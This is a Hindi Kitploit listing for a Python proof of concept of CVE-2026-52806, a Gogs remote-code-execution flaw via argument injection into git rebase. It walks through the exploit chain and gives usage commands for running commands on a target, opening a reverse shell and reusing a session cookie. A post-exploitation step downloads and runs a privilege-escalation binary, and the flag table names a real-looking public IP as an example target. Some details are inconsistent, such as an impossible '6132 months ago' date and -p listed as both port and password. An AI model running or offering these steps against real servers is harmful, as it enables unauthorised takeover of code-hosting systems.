Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-52806 — git rebase में तर्क इंजेक्शन के माध्यम से Gogs RCE (CWE-88) — Python PoC। CVE-2026-52806 | Kitploit
उपकरण/GitHubGitHub/portbuster1337/cve-2026-52806
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणCTFपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubportbuster1337/cve-2026-52806

CVE-2026-52806

6132 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

git rebase में तर्क इंजेक्शन के माध्यम से Gogs RCE (CWE-88) — Python PoC। CVE-2026-52806

रिपॉजिटरी देखेंवेबसाइट

Gogs RCE — git rebase में आर्गुमेंट इंजेक्शन (CWE-88)

पुल रिक्वेस्ट मर्ज फ्लो में आर्गुमेंट इंजेक्शन के माध्यम से Gogs (<= 0.14.2 और 0.15.0+dev) के विरुद्ध प्रमाणित रिमोट कोड निष्पादन।

CVE-2026-52806

भेद्यता

internal/database/pull.go में Merge() फ़ंक्शन PR बेस ब्रांच का नाम git rebase को -- सेपरेटर के बिना पास करता है। --exec=<COMMAND> नामक एक ब्रांच को Git द्वारा --exec फ़्लैग के रूप में पार्स किया जाता है, न कि पोज़ीशनल आर्गुमेंट के रूप में, जिससे रीबेस के दौरान प्रत्येक रीप्ले किए गए कमिट के बाद sh -c <COMMAND> चलता है।

एक्सप्लॉइट कैसे काम करता है

  1. प्री-फ़्लाइट — यह निर्धारित करता है कि लक्ष्य Gogs चला रहा है या नहीं, स्टैटिक एसेट्स पर ?v= पैरामीटर के माध्यम से वर्ज़न का फ़िंगरप्रिंट लेता है, और जाँचता है कि उपयोगकर्ता पंजीकरण खुला है, कैप्चा-संरक्षित है, या अक्षम है।
  2. प्रमाणीकरण — यदि कोई क्रेडेंशियल प्रदान नहीं किए जाते हैं, तो ऑटो-रजिस्टर करने का प्रयास करता है (कोई कैप्चा नहीं) या यदि कैप्चा सक्षम है, तो एक संदेश प्रिंट करता है जो उपयोगकर्ता को लक्ष्य के साइनअप पेज पर एक खाता बनाने और -u <username> -pw <password> के साथ पुनः चलाने के लिए कहता है। बेसिक Auth या वेब सेटिंग्स पेज के माध्यम से एक API टोकन बनाता है।
  3. रिपॉजिटरी सेटअप — Gogs API के माध्यम से एक अस्थायी निजी रिपॉजिटरी बनाता है और सेटिंग्स में Rebase before merging सक्षम करता है।
  4. Git ब्रांच मैनिपुलेशन — स्थानीय रूप से एक git रेपो इनिशियलाइज़ करता है, पुश करता है:
    • README के साथ एक master ब्रांच
    • एक डाइवर्जेंट कमिट के साथ एक feature-* ब्रांच
    • एक दुर्भावनापूर्ण ब्रांच जिसका नाम --exec=sh${IFS}.payload है, जिसमें एक स्क्रिप्ट है जो बैकग्राउंड में हमलावर के कमांड को चलाती है
  5. पुल रिक्वेस्ट — फीचर ब्रांच से दुर्भावनापूर्ण --exec= ब्रांच में एक PR खोलता है।
  6. ट्रिगर — merge_style=rebase_before_merging के साथ मर्ज एंडपॉइंट पर POST करता है। Gogs आंतरिक रूप से git rebase --exec=sh${IFS}.payload चलाता है, जो प्रत्येक रीप्ले किए गए कमिट के बाद पेलोड को निष्पादित करता है।

आवश्यकताएँ

  • Python 3.6+
  • requests (pip install requests)
  • स्थानीय git इंस्टॉलेशन

उपयोग

root@kitploit:~
python3 gogs.py <target> [options]

प्री-फ़्लाइट जाँच

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

रिपोर्ट:

  • Registration: ENABLED (no captcha) — ऑटो-रजिस्टर कर सकता है
  • Registration: ENABLED (CAPTCHA DETECTED) — लक्ष्य के साइनअप पेज पर मैन्युअल रूप से एक खाता बनाएँ, फिर -u / -pw के साथ क्रेडेंशियल प्रदान करें
  • Registration: DISABLED — किसी व्यवस्थापक से मौजूदा क्रेडेंशियल की आवश्यकता है

एक्सप्लॉइट चलाएँ

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

विकल्प

पोस्ट-एक्सप्लॉइटेशन

एक बार जब आपके पास लक्ष्य पर शेल हो, तो Gogs प्रक्रिया आमतौर पर कम-विशेषाधिकार वाले उपयोगकर्ता (जैसे Docker में git) के रूप में चलती है। रूट तक विशेषाधिकार वृद्धि का प्रयास करने के लिए, प्रोजेक्ट के रिलीज़ पेज से lpe-toolkit बाइनरी डाउनलोड करें और चलाएँ:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

टूलकिट कर्नेल एक्सप्लॉइट्स, गलत कॉन्फ़िगरेशन और अन्य सामान्य एस्केलेशन वेक्टर की गणना करता है।

संदर्भ

  • Rapid7 ब्लॉग पोस्ट — Gogs में आर्गुमेंट इंजेक्शन के माध्यम से प्रमाणित RCE (अनफिक्स्ड)
  • Metasploit मॉड्यूल — Jonah Burgess (CryptoCat) द्वारा Rapid7 का exploit/multi/http/gogs_rebase_rce (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

यह Python PoC जारी किए गए Metasploit मॉड्यूल से प्रेरित है। इस भेद्यता की खोज और जिम्मेदारीपूर्वक प्रकटीकरण Jonah Burgess (CryptoCat) ने Rapid7 में किया।

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

नोट

Gogs API टोकन विलोपन का समर्थन नहीं करता है, इसलिए एक्सप्लॉइटेशन के दौरान बनाए गए किसी भी API एक्सेस टोकन बने रहेंगे और लक्ष्य इंस्टेंस पर /user/settings/applications पर मैन्युअल रूप से हटाए जाने चाहिए।

टूल डाउनलोड करें
  • सफाई — अस्थायी रिपॉजिटरी और स्थानीय टेम्प फ़ाइलों को हटाता है।
  • फ़्लैगविवरण
    targetहोस्ट[:पोर्ट] (जैसे 47.109.58.140:9000)
    -p, --portHTTP पोर्ट (डिफ़ॉल्ट: 3000)
    -u, --usernameGogs उपयोगकर्ता नाम
    -pw, --passwordGogs पासवर्ड
    --cookieसत्र कुकी स्ट्रिंग
    --cmdलक्ष्य पर निष्पादित करने का कमांड
    --listenerरिवर्स शेल host:port
    --lhost / --lportरिवर्स शेल होस्ट और पोर्ट
    --sslHTTPS का उपयोग करें
    --preflight-onlyकेवल प्री-फ़्लाइट जाँच चलाएँ